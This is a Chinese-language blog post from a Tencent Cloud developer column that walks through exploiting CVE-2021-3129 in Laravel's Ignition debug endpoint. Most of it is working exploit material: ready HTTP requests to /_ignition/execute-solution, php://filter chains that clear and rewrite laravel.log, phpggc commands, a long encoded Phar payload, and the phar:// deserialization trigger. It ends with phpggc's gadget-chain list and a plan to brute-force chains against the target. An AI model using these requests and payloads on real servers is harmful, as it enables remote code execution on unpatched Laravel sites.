首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Laravel RCE 另类技巧

Laravel RCE 另类技巧

原创
作者头像
小生观察室
发布2022-05-31 10:38:12
1.6K0
发布2022-05-31 10:38:12
举报

Laravel框架简介

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)

它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力

在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM

它能方便的将“约束(constraints)”应用到关系的双方,这样你就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利

Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法

复现过程

通过指纹识别判断出框架信息和版本

https://小生观察室/_ignition/execute-solution

路径信息

网站开启Debug调试功能,且Laravel<=8.4.2,疑似存在CVE-2021-3129RCE漏洞

数据包验证

Request:

POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 170

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

如果出现500状态码界面就基本存在漏洞

Phar反序列化

要成功利用需要用到phpggc环境

复现环境PHP版本为:PHP 7.2.24-0ubuntu0.18.04.11

git clone https://github.com/ambionics/phpggc.git
chmod 777 phpggc

利用phpggc生成phar序列化利用POC

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

得到的POC在最后面需再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败

测试过程

将原日志文件laravel.log清空

POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 332

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

给Log增加一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 155

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "AA"
 }
}

将POC作为viewFile的值

POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 5050


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=2B=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4F=00=50=00=30=00=69=00=57=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=44=00=55=00=46=00=73=00=76=00=36=00=70=00=76=00=78=00=48=00=44=00=54=00=47=00=48=00=42=00=49=00=79=00=37=00=4F=00=41=00=32=00=36=00=41=00=45=00=70=00=48=00=54=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
 }
}

清空对log文件中的干扰字符,只留下POC

POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 290

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }

使用phar://进行反序列化,执行任意代码

(此时需要使用绝对路径)

POST /_ignition/execute-solution HTTP/2
Host: 小生观察室
Content-Type: application/json
Content-Length: 212

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

但执行到这一步时,出现错误,推测gadget利用链存在问题

查看phpgc通用gadget

root@小生观察室:/var/local/phpggc# ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                            TYPE                   VECTOR         I
CakePHP/RCE1                              ? <= 3.9.6                         RCE (Command)          __destruct
CakePHP/RCE2                              ? <= 4.2.3                         RCE (Function call)    __destruct
CodeIgniter4/RCE1                         4.0.0-beta.1 <= 4.0.0-rc.4         RCE (Function call)    __destruct
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.0.4+               RCE (Function call)    __destruct
CodeIgniter4/RCE3                         -4.1.3+                            RCE (Function call)    __destruct
Doctrine/FW1                              ?                                  File write             __toString     *
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5     File write             __destruct     *
Dompdf/FD1                                1.1.1 <= ?                         File delete            __destruct     *
Dompdf/FD2                                ? < 1.1.1                          File delete            __destruct     *
Drupal7/FD1                               7.0 < ?                            File delete            __destruct     *
Drupal7/RCE1                              7.0.8 < ?                          RCE (Function call)    __destruct     *
Guzzle/FW1                                6.0.0 <= 6.3.3+                    File write             __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                     phpinfo()              __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                     RCE (Function call)    __destruct     *
Horde/RCE1                                <= 5.2.22                          RCE (PHP code)         __destruct     *
Kohana/FR1                                3.*                                File read              __toString     *
Laminas/FD1                               <= 2.11.2                          File delete            __destruct
Laminas/FW1                               2.8.0 <= 3.0.x-dev                 File write             __destruct     *
Laravel/RCE1                              5.4.27                             RCE (Function call)    __destruct
Laravel/RCE2                              5.4.0 <= 8.6.9+                    RCE (Function call)    __destruct
Laravel/RCE3                              5.5.0 <= 5.8.35                    RCE (Function call)    __destruct     *
Laravel/RCE4                              5.4.0 <= 8.6.9+                    RCE (Function call)    __destruct
Laravel/RCE5                              5.8.30                             RCE (PHP code)         __destruct     *
Laravel/RCE6                              5.5.* <= 5.8.35                    RCE (PHP code)         __destruct     *
Laravel/RCE7                              ? <= 8.16.1                        RCE (Function call)    __destruct     *
Laravel/RCE8                              7.0.0 <= 8.6.9+                    RCE (Function call)    __destruct     *
Magento/FW1                               ? <= 1.9.4.0                       File write             __destruct     *
Magento/SQLI1                             ? <= 1.9.4.0                       SQL injection          __destruct
Magento2/FD1                              *                                  File delete            __destruct     *
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+    RCE (Function call)    __destruct
Monolog/RCE2                              1.4.1 <= 2.2.0+                    RCE (Function call)    __destruct
Monolog/RCE3                              1.1.0 <= 1.10.0                    RCE (Function call)    __destruct
Monolog/RCE4                              ? <= 2.4.4+                        RCE (Command)          __destruct     *
Monolog/RCE5                              1.25 <= 2.2.0+                     RCE (Function call)    __destruct
Monolog/RCE6                              1.10.0 <= 2.2.0+                   RCE (Function call)    __destruct
Monolog/RCE7                              1.10.0 <= 2.2.0+                   RCE (Function call)    __destruct     *
Phalcon/RCE1                              <= 1.2.2                           RCE                    __wakeup       *
PHPCSFixer/FD1                            <= 2.17.3                          File delete            __destruct
PHPCSFixer/FD2                            <= 2.17.3                          File delete            __destruct
PHPExcel/FD1                              1.8.2+                             File delete            __destruct
PHPExcel/FD2                              <= 1.8.1                           File delete            __destruct
PHPExcel/FD3                              1.8.2+                             File delete            __destruct
PHPExcel/FD4                              <= 1.8.1                           File delete            __destruct
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                    RCE (PHP code)         __destruct     *
Pydio/Guzzle/RCE1                         < 8.2.2                            RCE (Function call)    __toString
Slim/RCE1                                 3.8.1                              RCE (Function call)    __toString
Smarty/FD1                                ?                                  File delete            __destruct
Smarty/SSRF1                              ?                                  SSRF                   __destruct     *
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                  File delete            __destruct
SwiftMailer/FW1                           5.1.0 <= 5.4.8                     File write             __toString
SwiftMailer/FW2                           6.0.0 <= 6.0.1                     File write             __toString
SwiftMailer/FW3                           5.0.1                              File write             __toString
SwiftMailer/FW4                           4.0.0 <= ?                         File write             __destruct
Symfony/FW1                               2.5.2                              File write             DebugImport    *
Symfony/FW2                               3.4                                File write             __destruct
Symfony/RCE1                              3.3                                RCE (Command)          __destruct     *
Symfony/RCE2                              2.3.42 < 2.6                       RCE (PHP code)         __destruct     *
Symfony/RCE3                              2.6 <= 2.8.32                      RCE (PHP code)         __destruct     *
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7        RCE (Function call)    __destruct     *
Symfony/RCE5                              5.2.*                              RCE (Function call)    __destruct
TCPDF/FD1                                 <= 6.3.5                           File delete            __destruct     *
ThinkPHP/FW1                              5.0.4-5.0.24                       File write             __destruct     *
ThinkPHP/FW2                              5.0.0-5.0.03                       File write             __destruct     *
ThinkPHP/RCE1                             5.1.x-5.2.x                        RCE (Function call)    __destruct     *
ThinkPHP/RCE2                             5.0.24                             RCE (Function call)    __destruct     *
Typo3/FD1                                 4.5.35 <= 10.4.1                   File delete            __destruct     *
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                RCE (Function call)    __destruct     *
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2        RCE (Function call)    __destruct     *
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2       RCE (Function call)    __toString     *
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2       RCE (Function call)    __destruct     *
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2         RCE (Function call)    __destruct     *
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2         RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2       RCE (Function call)    __destruct     *
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2              RCE (Function call)    __destruct     *
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2            RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2              RCE (Function call)    __toString     *
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2              RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                RCE (Function call)    __destruct     *
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2              RCE (Function call)    __destruct     *
Yii/RCE1                                  1.1.20                             RCE (Function call)    __wakeup       *
Yii2/RCE1                                 <2.0.38                            RCE (Function call)    __destruct     *
Yii2/RCE2                                 <2.0.38                            RCE (PHP code)         __destruct     *
ZendFramework/FD1                         ? <= 1.12.20                       File delete            __destruct
ZendFramework/RCE1                        ? <= 1.12.20                       RCE (PHP code)         __destruct     *
ZendFramework/RCE2                        1.11.12 <= 1.12.20                 RCE (Function call)    __toString     *
ZendFramework/RCE3                        2.0.1 <= ?                         RCE (Function call)    __destruct
ZendFramework/RCE4                        ? <= 1.12.20                       RCE (PHP code)         __destruct     *

批量遍历并执行命令

编写脚本对RCE利用链进行批量遍历并执行命令结果进输出

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
作者已关闭评论
0 条评论
热度
最新
推荐阅读
目录
  • Laravel框架简介
  • 复现过程
    • 数据包验证
      • Phar反序列化
        • 测试过程
          • 批量遍历并执行命令
          相关产品与服务
          数据安全审计
          腾讯云数据安全审计(Data Security Audit,DSAudit)是一款基于人工智能的数据库安全审计系统,可挖掘数据库运行过程中各类潜在风险和隐患,为数据库安全运行保驾护航,是企业的等保合规利器。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档